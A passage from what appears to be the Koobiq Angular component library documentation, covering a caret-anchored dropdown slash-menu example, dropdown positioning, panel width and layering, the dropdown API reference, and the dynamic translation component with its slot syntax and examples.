            on the editor itself it would swallow Enter and Space.
        -->
        <span
            class="example-anchor"
            [kbqDropdownTriggerAutoFocus]="false"
            [kbqDropdownTriggerFor]="menu"
            [kbqDropdownTriggerOrigin]="origin"
            [kbqDropdownTriggerRestoreFocus]="false"
        ></span>

        <kbq-dropdown
            #menu="kbqDropdown"
            class="example-slash-menu"
            [activeDescendantNavigation]="true"
            [panelWidth]="280"
        >
            @for (group of filteredGroups(); track group.label) {
                @if (group.items.length) {
                    <kbq-optgroup [label]="group.label" />

                    @for (item of group.items; track item.name) {
                        <!-- Taking focus would drop the caret the menu is anchored to. -->
                        <button kbq-dropdown-item (click)="insert(item.name)" (mousedown)="$event.preventDefault()">
                            <i [kbq-icon]="item.icon"></i>
                            <span [innerHTML]="item.name | kbqHighlightBackground: tokens()"></span>
                        </button>
                    }
                }
            }

            @if (isEmpty()) {
                <button disabled kbq-dropdown-item>Nothing found</button>
            }

            <kbq-dropdown-footer class="example-slash-menu__footer">
                <span>Close menu</span>
                <span class="example-slash-menu__hotkey">Esc</span>
            </kbq-dropdown-footer>
        </kbq-dropdown>
    `,
    styles: `
        :host {
            display: block;
            padding: 16px 0 160px;
        }

        /* The field look, taken from the form-field tokens: a contenteditable cannot live in kbq-form-field. */
        .example-editor {
            max-width: 440px;
            min-height: 96px;
            margin: 0 auto;
            padding: var(--kbq-size-xs) var(--kbq-size-s);
            border: var(--kbq-size-border-width) solid var(--kbq-line-contrast-fade);
            border-radius: var(--kbq-size-border-radius);
            outline: none;
            background: var(--kbq-background-bg);
            color: var(--kbq-foreground-contrast);
        }

        .example-editor:focus {
            border-color: var(--kbq-states-line-focus-theme);
            box-shadow: inset 0 0 0.1px var(--kbq-size-border-width) var(--kbq-states-line-focus-theme);
        }

        .example-anchor {
            display: block;
            width: 0;
            height: 0;
        }

        /* The panel lives in an overlay, outside this component's DOM. */
        ::ng-deep .example-slash-menu .kbq-dropdown__content {
            max-height: 240px;
            overflow-y: auto;
        }

        .example-slash-menu__footer {
            justify-content: space-between;
        }

        .example-slash-menu__hotkey {
            color: var(--kbq-foreground-contrast-secondary);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DropdownSlashMenuExample {
    private readonly document = inject(DOCUMENT);
    private readonly renderer = inject(Renderer2);
    private readonly changeDetectorRef = inject(ChangeDetectorRef);
    private readonly editor = viewChild<ElementRef<HTMLElement>>('editor');
    private readonly menu = viewChild(KbqDropdown);
    private readonly trigger = viewChild(KbqDropdownTrigger);

    /** The `/…` the menu filters by, as a live range, so the panel keeps up with the token as it grows. */
    private token: Range | null = null;
    /** Whether the menu was dismissed for the token the caret still sits in. */
    private dismissed = false;

    /** Stays on the token: the rectangle is measured again every time the panel is positioned. */
    protected readonly origin = kbqCreateCaretOrigin(() => this.measureToken());
    protected readonly query = signal('');
    protected readonly tokens = computed(() => tokenizeSearchQuery(this.query()));

    protected readonly filteredGroups = computed(() => {
        const matches = createSearchPredicate(this.query());

        return GROUPS.map(({ label, items }) => ({ label, items: items.filter(({ name }) => matches(name)) }));
    });

    protected readonly isEmpty = computed(() => this.filteredGroups().every(({ items }) => !items.length));

    constructor() {
        const destroyRef = inject(DestroyRef);

        afterNextRender(() => {
            const editor = this.editor()?.nativeElement;

            if (!editor) return;

            destroyRef.onDestroy(kbqListenForCaretMoves(this.renderer, editor, () => this.syncMenu()));
        });
    }

    protected handleKeydown(event: KeyboardEvent): void {
        if (!this.trigger()?.opened || !MENU_KEYS.includes(event.key)) return;

        if (event.key === 'Escape') {
            this.dismissed = true;
        }

        // The panel never takes focus, so the editor has to hand the keys it lives on over to it.
        this.menu()?.handleKeydown(event);
    }

    protected insert(name: string): void {
        const token = this.token;
        const editor = this.editor()?.nativeElement;

        if (!token || !editor) return;

        token.deleteContents();
        token.insertNode(this.document.createTextNode(`${name} `));
        token.collapse(false);

        // A click leaves the caret behind; put it back after the inserted block.
        editor.focus();

        const selection = this.document.getSelection();

        selection?.removeAllRanges();
        selection?.addRange(token);

        this.syncMenu();
    }

    private syncMenu(): void {
        const trigger = this.trigger();

        if (!trigger) return;

        const caret = this.readCaret();
        const query = caret && kbqGetTextQuery(caret.value, caret.caret, { triggers: [TRIGGER] });
        const token = query && this.getTokenRange(query.end - query.start);

        if (!query || !token) {
            this.token = null;
            this.dismissed = false;
            trigger.close();

            return;
        }

        if (this.dismissed) return;

        this.token = token;
        this.query.set(query.text);

        // The trigger has to see the new origin, and the panel its filtered items, before it opens.
        this.changeDetectorRef.detectChanges();

        if (trigger.opened) {
            trigger.updatePosition();
        } else {
            trigger.open();
        }
    }

    private measureToken(): KbqCaretRect {
        const rect = this.token?.getBoundingClientRect();

        if (rect?.height) return { x: rect.left, y: rect.top, width: rect.width, height: rect.height };

        const editor = this.editor()?.nativeElement;

        return (editor && kbqGetSelectionRect(editor)) ?? EMPTY_RECT;
    }

    /** The editor's text and the caret offset within it, or `null` when the caret is somewhere else. */
    private readCaret(): { value: string; caret: number } | null {
        const editor = this.editor()?.nativeElement;
        const selection = this.document.getSelection();
        const node = selection?.focusNode;

        if (!editor || !node || !selection.isCollapsed || !editor.contains(node)) return null;

        const beforeCaret = this.document.createRange();

        beforeCaret.selectNodeContents(editor);
        beforeCaret.setEnd(node, selection.focusOffset);

        return { value: editor.textContent ?? '', caret: beforeCaret.toString().length };
    }

    /** The last `length` characters before the caret, as a range that outlives the keystrokes extending it. */
    private getTokenRange(length: number): Range | null {
        const selection = this.document.getSelection();
        const node = selection?.focusNode;

        // A token is typed into one text node; anything else is left to the next keystroke.
        if (!node || node.nodeType !== TEXT_NODE || selection.focusOffset < length) return null;

        const range = this.document.createRange();

        range.setStart(node, selection.focusOffset - length);
        range.setEnd(node, selection.focusOffset);

        return range;
    }
}
```

`kbqDropdownTriggerOrigin` anchors the dropdown to an element or to a rectangle in viewport coordinates rather than only to the trigger. `kbqCreateCaretOrigin` creates a dynamic anchor to the text caret: the caret coordinates are measured again whenever the position of the dropdown is updated. The `updatePosition()` method updates the position of an open dropdown, and `null` anchors it back to the trigger.

To keep the usual keyboard behavior while editing text, move the trigger outside the input area. When needed, the code of the input area passes individual events to the dropdown with `handleKeydown($event)`. The `[kbqDropdownTriggerAutoFocus]="false"` attribute leaves the text caret in the input area, and `[activeDescendantNavigation]="true"` lets the highlight move between items without moving focus to the list.

#### Horizontal alignment

Use the `xPosition` property to control horizontal alignment of the dropdown panel relative to the trigger. Supported values: `'after'` (default), `'before'`, and `'center'`.

**Example: Dropdown xPosition** (`dropdown-x-position`)

```ts dropdown-x-position-example.ts
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDividerModule } from '@koobiq/components/divider';
import { KbqDropdownModule, KbqDropdownPositionX } from '@koobiq/components/dropdown';

@Component({
    selector: 'dropdown-x-position-example',
    imports: [KbqDropdownModule, KbqButtonModule, KbqDividerModule],
    template: `
        <div class="layout-row layout-gap-s">
            @for (pos of positions; track pos) {
                <button kbq-button (click)="setPosition(pos)">{{ pos }}</button>
            }
        </div>

        <button kbq-button [kbqDropdownTriggerFor]="appDropdown">Dropdown ({{ xPosition() }})</button>

        <kbq-dropdown #appDropdown="kbqDropdown" [xPosition]="xPosition()">
            <button kbq-dropdown-item>Dropdown option 1</button>
            <button kbq-dropdown-item>Dropdown option 2</button>
            <kbq-divider />
            <button kbq-dropdown-item>Dropdown option 3</button>
        </kbq-dropdown>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-column layout-align-center-center layout-gap-s'
    }
})
export class DropdownXPositionExample {
    readonly positions: KbqDropdownPositionX[] = ['before', 'after', 'center'];
    readonly xPosition = signal<KbqDropdownPositionX>('center');

    setPosition(pos: KbqDropdownPositionX) {
        this.xPosition.set(pos);
    }
}
```

#### Panel width

By default the panel grows with its content, is never narrower than its trigger or than 200px, and stops at 640px. This is configured with the same `panelWidth`, `panelMinWidth` and `panelMaxWidth` attributes as [select](https://koobiq.io/en/components/select.md) and [autocomplete](https://koobiq.io/en/components/autocomplete.md):

```html
<!-- Match the trigger exactly -->
<kbq-dropdown panelWidth="auto" />

<!-- An exact width; panelMinWidth is not applied -->
<kbq-dropdown [panelWidth]="400" />

<!-- Let the panel grow further with its content -->
<kbq-dropdown [panelMaxWidth]="800" />
```

The 640px cap is soft: it limits growth by content only, so a trigger wider than 640px still gets a panel as wide as itself, and an explicit `panelWidth` is never clamped.

The defaults come from design tokens, which can be overridden by a theme:

| Token                                     | Default                                  |
| ----------------------------------------- | ---------------------------------------- |
| `--kbq-dropdown-size-container-width-min` | `200px`                                  |
| `--kbq-dropdown-size-container-width-max` | `var(--kbq-panel-size-width-max, 640px)` |

`--kbq-panel-size-width-max` is shared by every dropdown panel in the library, so setting it once on `:root` caps select, tree-select, autocomplete and dropdown together.

Nested panels and panels that overlap the trigger vertically are not matched to the trigger — they follow the tokens only.

When the trigger is only a part of a larger control, set `KbqDropdownTrigger.widthOrigin` to the element the panel should match instead. [Split button](https://koobiq.io/en/components/split-button.md) does this through its `panelAutoWidth` input.

#### Layering

By default, the menu appears above the horizontal [Navbar](https://koobiq.io/en/components/navbar.md) and [Topbar](https://koobiq.io/en/components/top-bar.md). To have a menu opened from the page content slide under them while the page scrolls, mark the content area with `kbqOverlayLayer` — see [Panels under a sticky header](https://koobiq.io/en/components/core.md#panels-under-a-sticky-header). A menu opened from the bar itself, like **Actions** in the example, stays above it.

**Example: Dropdown scrolling and layering** (`dropdown-scrolling-and-layering`)

```ts dropdown-scrolling-and-layering-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';

@Component({
    selector: 'dropdown-scrolling-and-layering-example',
    template: `
        <iframe
            src="/examples/dropdown-scrolling-and-layering-page"
            loading="lazy"
            width="648"
            height="400"
            title="dropdown-scrolling-and-layering-example"
            style="border: none"
        ></iframe>
    `,
    styles: `
        :host {
            display: flex;
            margin: -20px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DropdownScrollingAndLayeringExample {}
```

### API

#### Components

##### KbqDropdown (component)

```ts
@Component({ selector: 'kbq-dropdown', exportAs: 'kbqDropdown' })
class KbqDropdown implements KbqDropdownPanel {
    readonly activeDescendantNavigation = input<boolean>(false);
    readonly navigationWithWrap = input<boolean>(false);
    readonly xPosition = model<KbqDropdownPositionX>(
        this.defaultOptions.xPosition
    );
    readonly yPosition = model<KbqDropdownPositionY>(
        this.defaultOptions.yPosition
    );
    readonly overlapTriggerY = model<boolean>(
        this.defaultOptions.overlapTriggerY
    );
    readonly overlapTriggerX = model<boolean>(
        this.defaultOptions.overlapTriggerX
    );
    readonly hasBackdrop = input<boolean>(
        this.defaultOptions.hasBackdrop
    );
    readonly panelClass = input<string>('', { alias: 'class' });
    readonly backdropClass = input<string>(
        this.defaultOptions.backdropClass
    );
    readonly panelWidth = input<KbqPanelWidth>(
        this.defaultOptions.panelWidth ?? null
    );
    readonly panelMinWidth = input<KbqPanelMinWidth>(
        this.defaultOptions.panelMinWidth === undefined
            ? KBQ_PANEL_DEFAULT_MIN_WIDTH
            : this.defaultOptions.panelMinWidth
    );
    readonly panelMaxWidth = input<KbqPanelMaxWidth>(
        this.defaultOptions.panelMaxWidth === undefined ? null : this.defaultOptions.panelMaxWidth
    );
    readonly safeArea = input<boolean>(
        this.defaultOptions.safeArea ?? true
    );
    readonly closed = output<void | 'click' | 'keydown' | 'tab'>();
    parent: KbqDropdownPanel | undefined;
    direction: Direction;
    readonly items: Signal<readonly KbqDropdownItem[]>;
    hovered(): Observable<KbqDropdownItem>;
    handleKeydown(event: KeyboardEvent): void;
    focusFirstItem(origin?: FocusOrigin): void;
    resetActiveItem(): void;
    close(): void;
}
```

- `[activeDescendantNavigation]`: `boolean` — Whether the arrow keys move a highlight instead of the DOM focus. Turn it on when the keyboard belongs to
  something outside the panel — an editor whose caret the panel is anchored to, for instance — and forward
  the keys with `handleKeydown`.
- `[(xPosition)]`: `KbqDropdownPositionX` — Position of the dropdown in the X axis.
- `[(yPosition)]`: `KbqDropdownPositionY` — Position of the dropdown in the Y axis.
- `[(overlapTriggerY)]`: `boolean` — Whether the dropdown should overlap its trigger vertically.
- `[(overlapTriggerX)]`: `boolean` — Whether the dropdown should overlap its trigger horizontally.
- `[hasBackdrop]`: `boolean` — Whether the dropdown has a backdrop.
- `[class]`: `string` — Classes set on the host `kbq-dropdown` element, transferred onto the panel in the overlay container.
- `[backdropClass]`: `string` — Class to be added to the backdrop element.
- `[panelWidth]`: `KbqPanelWidth` — Width of the panel. If set to `auto`, the panel will match the trigger width, but will never be
  narrower than `panelMinWidth`. If set to null, the panel will grow to match its content.
  Any other value is used as an exact width, and `panelMinWidth` is not applied.
- `[panelMinWidth]`: `KbqPanelMinWidth` — Minimum width of the panel in pixels. The panel is never narrower than this, nor than its trigger.
- `[panelMaxWidth]`: `KbqPanelMaxWidth` — Maximum width of the panel in pixels. Caps how far the panel grows with its content — it never makes
  the panel narrower than the trigger, and never clamps an explicit `panelWidth`.
  When null, the `--kbq-dropdown-size-container-width-max` token applies.
- `[safeArea]`: `boolean` — Whether nested dropdowns opened from this dropdown's items use a "safe area": while the
  pointer moves from a trigger toward its open submenu, sibling items it crosses over on the way
  don't prematurely close the submenu. Set on the panel that contains the nested triggers.
- `(closed)`: `void | 'click' | 'keydown' | 'tab'` — Event emitted when the dropdown is closed.
- `parent`: `KbqDropdownPanel | undefined` — Parent dropdown of the current dropdown panel.
- `direction`: `Direction` — Layout direction of the dropdown.
- `items`: `Signal<readonly KbqDropdownItem[]>` — List of the items inside of a dropdown.
- `hovered()`: `Observable<KbqDropdownItem>` — Stream that emits whenever the hovered dropdown item changes.
- `handleKeydown()`: `void` — Handle a keyboard event from the dropdown, delegating to the appropriate action.
- `focusFirstItem()`: `void` — Applies the panel's initial focus, see `applyInitialFocus`.
  - `origin`: `FocusOrigin` — Action from which the focus originated. Used to set the correct styling.
- `resetActiveItem()`: `void` — Resets the active item in the dropdown. This is used when the dropdown is opened, allowing
  the user to start from the first option when pressing the down arrow.

##### KbqDropdownItem (component)

This directive is intended to be used inside an kbq-dropdown tag.

Note that it sets no ARIA role: neither the panel nor its items currently carry menu semantics, so
triggers must not advertise a popup they cannot describe.

```ts
@Component({
    selector: 'kbq-dropdown-item, [kbq-dropdown-item]',
    exportAs: 'kbqDropdownItem'
})
class KbqDropdownItem implements KbqTitleTextRef, KbqDropdownItemActionHost, IFocusableOption, Highlightable {
    readonly disabled = input<boolean>(false);
    readonly progress = input<boolean>(false);
    parentDropdownPanel?: KbqDropdownPanel | null;
    get textElement(): ElementRef;
    readonly icon: Signal<KbqIcon | undefined>;
    readonly itemAction: Signal<KbqDropdownItemAction | undefined>;
    readonly hovered: Subject<KbqDropdownItem>;
    readonly focused: Subject<KbqDropdownItem>;
    highlighted: boolean;
    isNested: boolean;
    resetStyles(): void;
    setActiveStyles(): void;
    setInactiveStyles(): void;
    focus(origin?: FocusOrigin, options?: FocusOptions): void;
    getHostElement(): HTMLElement;
    getTabIndex(): string;
    checkDisabled(event: Event): void;
    handleMouseEnter(): void;
    getLabel(): string;
    haltDisabledEvents(event: Event): void;
}
```

- `[disabled]`: `boolean` — Whether the dropdown item is disabled.
- `[progress]`: `boolean` — Whether the dropdown item is in a loading state.
- `textElement`: `ElementRef` — Element holding the text of the item, measured by `kbq-title`.
- `itemAction`: `Signal<KbqDropdownItemAction | undefined>` — Secondary, independently-focusable icon action projected into the item (e.g. a settings link).
- `hovered`: `Subject<KbqDropdownItem>` — Stream that emits when the dropdown item is hovered.
- `focused`: `Subject<KbqDropdownItem>` — Stream that emits when the menu item is focused.
- `highlighted`: `boolean` — Whether the dropdown item is highlighted.
- `isNested`: `boolean` — Whether the dropdown item acts as a trigger for a nested dropdown.
- `setActiveStyles()`: `void` — Styles the item as active without focusing it.
- `setInactiveStyles()`: `void` — Removes the styles applied by `setActiveStyles`.
- `focus()`: `void` — Focuses the dropdown item and reveals it.

  The reveal is explicit because the one `focus()` performs implicitly is not portable: WebKit defers
  it to a later rendering update, where it lands after — and undoes — any scrolling the reader did in
  the meantime. `preventScroll` is therefore always forced on, overriding `options`.
- `getHostElement()`: `HTMLElement` — Returns the host DOM element.
- `getTabIndex()`: `string` — Used to set the `tabindex`.
- `checkDisabled()`: `void` — Prevents the default element actions if it is disabled. Bound via `host` metadata.
- `handleMouseEnter()`: `void` — Emits to the hover stream. Bound via `host` metadata.
- `getLabel()`: `string` — Gets the label to be used when determining whether the option should be focused.

#### Directives

##### KbqDropdownContent (directive)

Dropdown content that will be rendered lazily once the dropdown is opened.

```ts
@Directive({ selector: 'ng-template[kbqDropdownContent]' })
class KbqDropdownContent {
    attached: Subject<void>;
}
```

- `attached`: `Subject<void>` — Emits when the dropdown content has been attached.

##### KbqDropdownFooter (directive)

Footer that is rendered below the dropdown options panel.

```ts
@Directive({ selector: '[kbqDropdownFooter], kbq-dropdown-footer' })
class KbqDropdownFooter {}
```

##### KbqDropdownGroupHeader (directive)

Header of a group of items in the dropdown panel.

```ts
@Directive({ selector: '[kbqDropdownGroupHeader]' })
class KbqDropdownGroupHeader {}
```

##### KbqDropdownItemAction (directive)

Marks a secondary, independently-focusable/clickable element (e.g. a settings link) projected
inside a `kbq-dropdown-item` alongside the item's own primary action. Requires the item's host
element to be non-interactive (e.g. `<div kbq-dropdown-item>`), since interactive content
cannot validly nest inside another interactive element.

```ts
@Directive({ selector: '[kbqDropdownItemAction]' })
class KbqDropdownItemAction {
    getHostElement(): HTMLElement;
}
```

- `getHostElement()`: `HTMLElement` — Returns the host DOM element.

##### KbqDropdownItemCaption (directive)

Secondary line of a `kbq-dropdown-item`, shown under the item's text.

```ts
@Directive({ selector: '[kbqDropdownItemCaption]' })
class KbqDropdownItemCaption {}
```

##### KbqDropdownSearch (directive)

Marks a `kbq-form-field` projected into a `kbq-dropdown` as the panel's search field.

The panel keeps DOM focus in the field, so arrow keys move the highlighted item while the query
stays editable.

```ts
@Directive({ selector: '[kbqDropdownSearch]', exportAs: 'kbqDropdownSearch' })
class KbqDropdownSearch {
    get ngControl(): NgControl | null;
    focus(): void;
    reset(): void;
    value(): string;
}
```

- `ngControl`: `NgControl | null` — The form control the query is bound to.
- `focus()`: `void` — Focuses the search field.
- `reset()`: `void` — Clears the search query.
- `value()`: `string` — The current search query.

##### KbqDropdownStaticContent (directive)

```ts
@Directive({ selector: '[kbqDropdownStaticContent]' })
class KbqDropdownStaticContent {}
```

##### KbqDropdownTrigger (directive)

This directive is intended to be used in conjunction with an kbq-dropdown tag.  It is
responsible for toggling the display of the provided dropdown instance.

```ts
@Directive({
    selector: '[kbqDropdownTriggerFor]',
    exportAs: 'kbqDropdownTrigger'
})
class KbqDropdownTrigger implements KbqSiblingPopup {
    readonly offsetX = model<number | undefined>();
    readonly offsetY = input<number | undefined>();
    readonly data = input<any>(undefined, {
        alias: 'kbqDropdownTriggerData'
    });
    readonly openByArrowDown = model<boolean>(true);
    readonly origin = input<KbqOverlayOrigin | null>(null, {
        alias: 'kbqDropdownTriggerOrigin'
    });
    readonly autoFocus = input<boolean>(true, {
        alias: 'kbqDropdownTriggerAutoFocus'
    });
    readonly restoreFocus = model<boolean>(true, {
        alias: 'kbqDropdownTriggerRestoreFocus'
    });
    readonly dropdown = input<KbqDropdownPanel>(undefined, {
        alias: 'kbqDropdownTriggerFor'
    });
    readonly dropdownOpened = output<void>();
    readonly dropdownClosed = output<void>();
    lastDestroyReason: DropdownCloseReason;
    readonly openedChange: Observable<boolean>;
    openedBy: Exclude<FocusOrigin, 'program' | null> | undefined;
    get dir(): Direction;
    get opened(): boolean;
    get isAttached(): boolean;
    isNested(): boolean;
    toggle(): void;
    updatePosition(): void;
    open(): void;
    close(): void;
    focus(origin?: FocusOrigin, options?: FocusOptions): void;
    handleMousedown(event: MouseEvent): void;
    handleMouseLeave(event: MouseEvent): void;
    handleKeydown(event: KeyboardEvent): void;
    handleClick(event: MouseEvent): void;
}
```

- `[(offsetX)]`: `number | undefined` — Position offset of the dropdown in the X axis.
- `[offsetY]`: `number | undefined` — Position offset of the dropdown in the Y axis.
- `[kbqDropdownTriggerData]`: `any` — Data to be passed along to any lazily-rendered content.
- `[(openByArrowDown)]`: `boolean` — Whether the Down Arrow opens the dropdown when the trigger is focused. Written by `kbq-navbar-item`.
- `[kbqDropdownTriggerOrigin]`: `KbqOverlayOrigin | null` — What the panel is positioned against: an element, or a rectangle in viewport coordinates such as the one
  `kbqCreateCaretOrigin` keeps on the caret. `null` anchors the panel to the trigger element.

  Call `updatePosition` to move an open panel to a new origin.
- `[kbqDropdownTriggerAutoFocus]`: `boolean` — Whether opening the dropdown moves the keyboard focus into the panel. Turn it off to leave focus where it
  is — in the editor the panel is anchored to, for instance — and pair it with `activeDescendantNavigation`
  on the panel so the arrow keys still work.
- `[(kbqDropdownTriggerRestoreFocus)]`: `boolean` — Whether focus should be restored when the menu is closed.
  Note that disabling this option can have accessibility implications
  and it's up to you to manage focus, if you decide to turn it off.
- `[kbqDropdownTriggerFor]`: `KbqDropdownPanel` — References the dropdown instance that the trigger is associated with.
- `(dropdownOpened)`: `void` — Event emitted when the associated dropdown is opened.
- `(dropdownClosed)`: `void` — Event emitted when the associated dropdown is closed.
- `openedChange`: `Observable<boolean>` — Emits `true` when the dropdown opens and `false` when it closes. Part of the `KbqSiblingPopup` contract.
- `dir`: `Direction` — The text direction of the containing app.
- `opened`: `boolean` — Whether the dropdown is open.
- `isAttached`: `boolean` — Whether the dropdown overlay is currently attached. Part of the `KbqSiblingPopup` contract.

  Set right after the overlay is attached and cleared right after it is detached, once `destroy()` has
  restored focus to the trigger, so a tooltip on the trigger stays muted for that focus.
- `isNested()`: `boolean` — Whether the dropdown triggers a nested dropdown or a top-level one.
- `toggle()`: `void` — Toggles the dropdown between the open and closed states.
- `updatePosition()`: `void` — Moves an open panel to the current origin and re-applies its position.
- `open()`: `void` — Opens the dropdown.
- `close()`: `void` — Closes the dropdown.
- `focus()`: `void` — Focuses the dropdown trigger.
- `handleMousedown()`: `void` — Handles mouse presses on the trigger.
- `handleMouseLeave()`: `void` — Starts safe-area protection when the pointer leaves a trigger whose submenu is open, so a
  sibling item crossed on the way to the submenu doesn't prematurely close it.
- `handleKeydown()`: `void` — Handles key presses on the trigger.
- `handleClick()`: `void` — Handles click events on the trigger.

#### Types

##### DropdownCloseReason (type)

Reason why the menu was closed.

```ts
type DropdownCloseReason = void | 'click' | 'keydown' | 'tab';
```

##### KbqDropdownDefaultOptions (interface)

Default `kbq-dropdown` options that can be overridden.

```ts
interface KbqDropdownDefaultOptions {
    xPosition: KbqDropdownPositionX;
    yPosition: KbqDropdownPositionY;
    overlapTriggerX: boolean;
    overlapTriggerY: boolean;
    backdropClass: string;
    hasBackdrop: boolean;
    safeArea?: boolean;
    panelWidth?: KbqPanelWidth;
    panelMinWidth?: KbqPanelMinWidth;
    panelMaxWidth?: KbqPanelMaxWidth;
}
```

- `xPosition`: `KbqDropdownPositionX` — The x-axis position of the dropdown.
- `yPosition`: `KbqDropdownPositionY` — The y-axis position of the dropdown.
- `overlapTriggerX`: `boolean` — Whether the dropdown should overlap the dropdown trigger horizontally.
- `overlapTriggerY`: `boolean` — Whether the dropdown should overlap the dropdown trigger vertically.
- `backdropClass`: `string` — Class to be applied to the dropdown's backdrop.
- `hasBackdrop`: `boolean` — Whether the dropdown has a backdrop.
- `safeArea?`: `boolean` — Whether nested dropdowns opened from this dropdown's items use a "safe area": while the
  pointer moves from a trigger toward its open submenu, sibling items it crosses over on the way
  don't prematurely close the submenu.
- `panelWidth?`: `KbqPanelWidth` — Width of the panel. If set to `auto`, the panel will match the trigger width.
  If set to null, the panel will grow to match its content.
- `panelMinWidth?`: `KbqPanelMinWidth` — Minimum width of the panel. If set to null, only the trigger width applies.
- `panelMaxWidth?`: `KbqPanelMaxWidth` — Maximum width of the panel. Caps growth by content only — it never overrides the trigger width or an
  explicit `panelWidth`. If null, the `--kbq-dropdown-size-container-width-max` token applies.

##### KbqDropdownPositionX (type)

Position of the dropdown panel along the x-axis.

```ts
type KbqDropdownPositionX = 'before' | 'after' | 'center';
```

##### KbqDropdownPositionY (type)

Position of the dropdown panel along the y-axis.

```ts
type KbqDropdownPositionY = 'above' | 'below';
```

#### Constants

##### KBQ_DROPDOWN_DEFAULT_OPTIONS (const)

Injection token to be used to override the default options for `kbq-dropdown`.

```ts
const KBQ_DROPDOWN_DEFAULT_OPTIONS: InjectionToken<KbqDropdownDefaultOptions>;
```

##### KBQ_DROPDOWN_SCROLL_STRATEGY (const)

Injection token that determines the scroll handling while the dropdown is open. The root default keeps the
trigger usable outside `KbqDropdownModule`'s injector; providing the token anywhere still wins over it.

```ts
const KBQ_DROPDOWN_SCROLL_STRATEGY: InjectionToken<() => ScrollStrategy>;
```

##### NESTED_HOVER_SWITCH_DELAY (const)

Grace period before switching to a different nested trigger hovered while a safe area is
protecting the currently open submenu. Without it, sweeping the pointer down a long list of
nested triggers on the way to the submenu would flicker each row's submenu open and closed.

```ts
const NESTED_HOVER_SWITCH_DELAY: number;
```

##### NESTED_PANEL_LEFT_PADDING (const)

```ts
const NESTED_PANEL_LEFT_PADDING: number;
```

##### NESTED_PANEL_TOP_PADDING (const)

Default top padding of the nested dropdown panel.

```ts
const NESTED_PANEL_TOP_PADDING: number;
```

## Dynamic translation

- Entry point: `@koobiq/components/dynamic-translation`
- NgModule: `KbqDynamicTranslationModule`
- Page: https://koobiq.io/en/components/dynamic-translation/overview

### Overview

`KbqDynamicTranslation` — component for embedding custom components into translatable strings.

The string arrives already translated: translating it is the application's job. The strings the library
renders itself are a separate matter, covered by the [Localization](https://koobiq.io/en/main/localization.md) guide.

**Example: Dynamic translation overview example** (`dynamic-translation-overview`)

```ts dynamic-translation-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqDynamicTranslationModule } from '@koobiq/components/dynamic-translation';
import { KbqLink } from '@koobiq/components/link';

@Component({
    selector: 'dynamic-translation-overview-example',
    imports: [KbqDynamicTranslationModule, KbqLink],
    template: `
        <kbq-dynamic-translation text="Incident created. [[link:Open in a new tab]] to continue working.">
            <a
                *kbqDynamicTranslationSlot="'link'; let context"
                kbqLink
                href="https://koobiq.io/en/components/dynamic-translation"
                target="_blank"
            >
                {{ context }}
            </a>
        </kbq-dynamic-translation>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DynamicTranslationOverviewExample {}
```

#### Adding a component

Components are embedded into strings using special syntax: `[[<slotName>:<context>]]`, where `slotName` is the key of the registered component, and `context` is the data passed to the component.

```html
<!-- Slot with string passing -->
<kbq-dynamic-translation text="[[myLinkSlot:Open link]]">
    <a *kbqDynamicTranslationSlot="'myLinkSlot'; let context">{{ context }}</a>
</kbq-dynamic-translation>

<!-- Slot with list passing -->
<kbq-dynamic-translation text="[[myListSlot:(first,second,third)]]">
    <ul *kbqDynamicTranslationSlot="'myListSlot'; let context">
        @for (item of context; track $index) {
            <li>{{ item }}</li>
        }
    </ul>
</kbq-dynamic-translation>
```

#### Key features

- Embedding components ([links](https://koobiq.io/en/components/link.md), [buttons](https://koobiq.io/en/components/button.md), [dropdowns](https://koobiq.io/en/components/dropdown.md), etc.) into localized strings.
- Separation of interface logic from localization texts.
- Support for multiple slots in a single string.

#### When to use

- When you need to dynamically change the composition and context of embedded components depending on localization.
- If you need to add interactive elements ([links](https://koobiq.io/en/components/link.md), [buttons](https://koobiq.io/en/components/button.md), [dropdowns](https://koobiq.io/en/components/dropdown.md), etc.) directly into translatable text.
- For highlighting parts of text with special styles.

### API

#### Components

##### KbqDynamicTranslation (component)

Component for dynamic translation.

```ts
@Component({ selector: 'kbq-dynamic-translation' })
class KbqDynamicTranslation {
    readonly text = input.required<string>();
}
```

- `[text]`: `string` — The text which will be translated.

#### Directives

##### KbqDynamicTranslationSlot (directive)

Directive for defining a dynamic translation slot.

```ts
@Directive({ selector: '[kbqDynamicTranslationSlot]' })
class KbqDynamicTranslationSlot {
    readonly name = input.required<string>({
        alias: 'kbqDynamicTranslationSlot'
    });
}
```

- `[kbqDynamicTranslationSlot]`: `string` — The name of the dynamic translation slot.

### Examples

#### Dynamic component creation

**Example: Dynamic-translation with dynamic component creation** (`dynamic-translation-with-dynamic-component-creation`)

```ts dynamic-translation-with-dynamic-component-creation-example.ts
import {
    ApplicationRef,
    ChangeDetectionStrategy,
    Component,
    createComponent,
    effect,
    ElementRef,
    inject,
    Renderer2,
    viewChild
} from '@angular/core';
import { KbqDynamicTranslationHelper, KbqDynamicTranslationHelperSlot } from '@koobiq/components/dynamic-translation';

@Component({
    selector: 'dynamic-translation-with-dynamic-component-creation-example',
    template: `
        <div #container></div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DynamicTranslationWithDynamicComponentCreationExample {
    private readonly applicationRef = inject(ApplicationRef);
    private readonly renderer = inject(Renderer2);
    private readonly container = viewChild.required('container', { read: ElementRef });

    constructor() {
        effect(() => {
            this.renderer.appendChild(
                this.container().nativeElement,
                this.createElement('[[bold:1000]] incidents have been registered.', [{ name: 'bold', tag: 'b' }])
            );
        });
    }

    private createElement(text: string, slots: KbqDynamicTranslationHelperSlot[]): HTMLElement {
        const componentRef = createComponent(KbqDynamicTranslationHelper, {
            environmentInjector: this.applicationRef.injector
        });

        componentRef.setInput('text', text);
        componentRef.setInput('slots', slots);
        this.applicationRef.attachView(componentRef.hostView);
        componentRef.changeDetectorRef.detectChanges();

        return componentRef.location.nativeElement as HTMLElement;
    }
}
```

## Ellipsis center

- Entry point: `@koobiq/components/ellipsis-center`
- NgModule: `KbqEllipsisCenterModule`
- Page: https://koobiq.io/en/components/ellipsis-center/overview

